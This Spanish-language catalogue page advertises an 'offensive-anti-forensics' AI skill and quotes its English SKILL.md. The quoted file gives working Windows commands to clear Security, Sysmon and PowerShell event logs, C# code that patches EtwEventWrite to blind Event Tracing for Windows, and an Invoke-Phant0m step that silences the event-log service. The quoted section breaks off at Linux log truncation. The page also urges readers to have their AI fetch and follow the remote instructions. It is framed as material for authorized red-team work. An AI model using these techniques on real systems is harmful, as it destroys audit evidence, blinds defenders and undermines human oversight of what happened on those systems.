Saltar al contenido
Skillpedia
Seguridad10 mil · #11956

offensive-anti-forensics

Qué hace

Esta skill cubre cómo los operadores de equipo rojo tratan los registros, las marcas de tiempo y otras pruebas durante trabajos autorizados, y qué buscan los defensores. Insiste en documentar cada cambio para que el equipo azul pueda reconstruir su línea base. Es para profesionales de seguridad que realizan pruebas autorizadas.

Cuándo usarla

  • ✓Cuando planificas un ejercicio de equipo rojo autorizado y necesitas tener en cuenta las pruebas que genera.
  • ✓Cuando un equipo azul quiere saber qué rastros forenses deja una prueba de equipo rojo.
  • ✓Cuando necesitas documentar los cambios en registros y archivos hechos durante un trabajo aprobado.

Link de la skill

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/forensics/offensive-anti-forensics/SKILL.md

Cópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.

Cómo usar

La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.

Mensaje listo para pegar

Usa esta skill para ayudarme: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/forensics/offensive-anti-forensics/SKILL.md Lee el archivo SKILL.md de ese link y sigue sus instrucciones en mi tarea.
¿Quieres que tu IA encuentre skills como esta por sí sola?Instala el MCP gratis de Skillpedia: una línea, y busca entre 15.000+ skills antes de cada tarea.Instalar en 1 minuto →

Ejemplo de qué pedirle a la IA

“Estamos haciendo una prueba de equipo rojo autorizada. Documenta qué pruebas deja nuestra actividad y qué hay que informar.”

5 skills nuevas por semana. 1 minuto de lectura.

Cómo funciona

La skill explica cada fuente de pruebas en Windows y Linux, cómo puede verse afectada y la visión del defensor sobre ella. Insiste en registrar cada acción de limpieza con marcas de tiempo para el informe final.

Contenido técnico (SKILL.md original)

Texto original del autor, en inglés, directo de GitHub.

Offensive Anti-Forensics

Anti-forensics is the practice of manipulating, destroying, or preventing the creation of forensic artifacts during an engagement. As a red team operator, you treat every action as generating evidence -- logs, timestamps, memory structures, disk metadata, and network captures all tell a story. Your objective is to control that narrative. This skill covers the primary evidence categories you encounter on Windows and Linux targets, the techniques for manipulating each, and the defender view so you understand what a competent forensic analyst looks for when your cleanup is incomplete.

You operate under an authorization scope. Every technique here assumes you have written permission to execute these actions on target systems. Document what you clear and when -- your engagement report must account for artifacts you destroyed so the blue team can rebuild their detection baseline.

Quick Workflow

  1. Enumerate logging infrastructure before executing payloads -- identify what generates evidence.
  2. Disable or blind telemetry sources (ETW, Sysmon, auditd) at the earliest safe opportunity.
  3. Execute your operation with minimal footprint using in-memory techniques where possible.
  4. Manipulate timestamps on any files you touched to blend with surrounding filesystem activity.
  5. Clear or edit logs selectively -- wholesale deletion is noisier than surgical modification.
  6. Remove memory artifacts if you have reason to believe live forensics will occur.
  7. Validate your cleanup by checking the same artifacts a forensic analyst would examine.

Windows Event Log Clearing

Windows Event Logs are the primary evidence source on Windows targets. The Security, System, PowerShell, and Sysmon/Operational channels record authentication, process creation, and command execution events.

Wevtutil Approach

Clear specific channels rather than all logs to reduce the blast radius of your cleanup.

rem Clear Security log only
wevtutil cl Security

rem Clear specific channels relevant to your activity
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
wevtutil cl "Windows PowerShell"

rem Enumerate all logs to find non-obvious channels
wevtutil el | findstr /i "operational"

rem Export a log before clearing to preserve your own records
wevtutil epl Security C:\Windows\Temp\sec_backup.evtx
wevtutil cl Security

PowerShell Clear-EventLog

# Clear classic logs
Clear-EventLog -LogName Security, System, Application

# Clear modern logs via wevtutil wrapper
Get-WinEvent -ListLog * | Where-Object { $_.RecordCount -gt 0 } | ForEach-Object {
    wevtutil cl $_.LogName 2>$null
}

# Selective clearing -- remove only your time window events
# This requires parsing and rewriting, which is complex but less detectable
$targetTime = Get-Date "2026-08-24 03:00"
$events = Get-WinEvent -LogName Security | Where-Object {
    $_.TimeCreated -lt $targetTime -or $_.TimeCreated -gt $targetTime.AddHours(2)
}
# Note: native Windows APIs do not support selective event deletion
# You must clear and rewrite, or use third-party tooling

ETW Provider Patching

Event Tracing for Windows underpins most logging. Patching the ETW provider in-process prevents log generation at the source, which is quieter than post-hoc clearing.

// Patch ntdll!EtwEventWrite in the current process
// This blinds any ETW consumer for events from this process
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr addr, UIntPtr size, uint newProt, out uint oldProt);

IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Overwrite first byte with RET (0xC3)
uint oldProtect;
VirtualProtect(etwAddr, (UIntPtr)1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, (UIntPtr)1, oldProtect, out oldProtect);
# Invoke-Phant0m: Kill threads responsible for Event Log Service
# This stops log writing without stopping the service itself
# The service appears running but no events are recorded
Import-Module .\Invoke-Phant0m.ps1
Invoke-Phant0m

Linux Log Clearing

Linux logging varies by distribution and configuration. You must account for syslog/rsyslog, systemd journal, auth logs, and login records stored in binary utmp/wtmp/btmp files.

Syslog and Auth Log Manipulation

# Truncate rather than delete -- preserves inode and avoids alerting
Preguntas frecuentes

¿Por qué insiste la skill en la documentación?

El informe debe enumerar los artefactos modificados para que los defensores puedan reconstruir su línea base de detección.

¿Cubre Windows y Linux?

Sí. Cubre los registros de eventos de Windows, los registros de Linux y los metadatos de archivos.

¿Es solo para pruebas autorizadas?

Sí. Asume permiso por escrito y un alcance definido.

Detalles

Descripción original del autor

Anti-forensics and evidence destruction techniques for red team operators conducting authorized engagements. Covers log clearing on Windows (wevtutil, Clear-EventLog, ETW provider patching) and Linux (journal truncation, utmp/wtmp binary editing, syslog manipulation), timestamp manipulation via Timestomp and SetMACE to defeat timeline analysis, filesystem-level anti-forensics including NTFS Alternate Data Streams for payload hiding and secure deletion with sdelete/shred, memory artifact removal to counter live forensics, disk artifact manipulation targeting MFT entries and USN journal records,

repo: SnailSploit/Claude-Red

Popularidad

Estrellas en GitHub
10 mil
Posición en el ranking
#11956
Licencia
MIT
Actualizada
12/10/2026

¿Te sirve esta skill?

0

Entra para votar.

Comentarios

  • …

Más skills de este repositorio

Skills parecidas